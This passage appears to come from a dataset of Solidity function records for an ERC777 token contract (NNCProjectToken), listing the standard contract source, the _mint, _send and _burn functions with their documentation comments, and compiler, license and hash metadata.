require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | _mint | function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
| /**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
9607,
10262
]
} | 59,948 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | _send | function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
| /**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
10809,
11471
]
} | 59,949 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | _burn | function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
| /**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
11846,
12505
]
} | 59,950 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
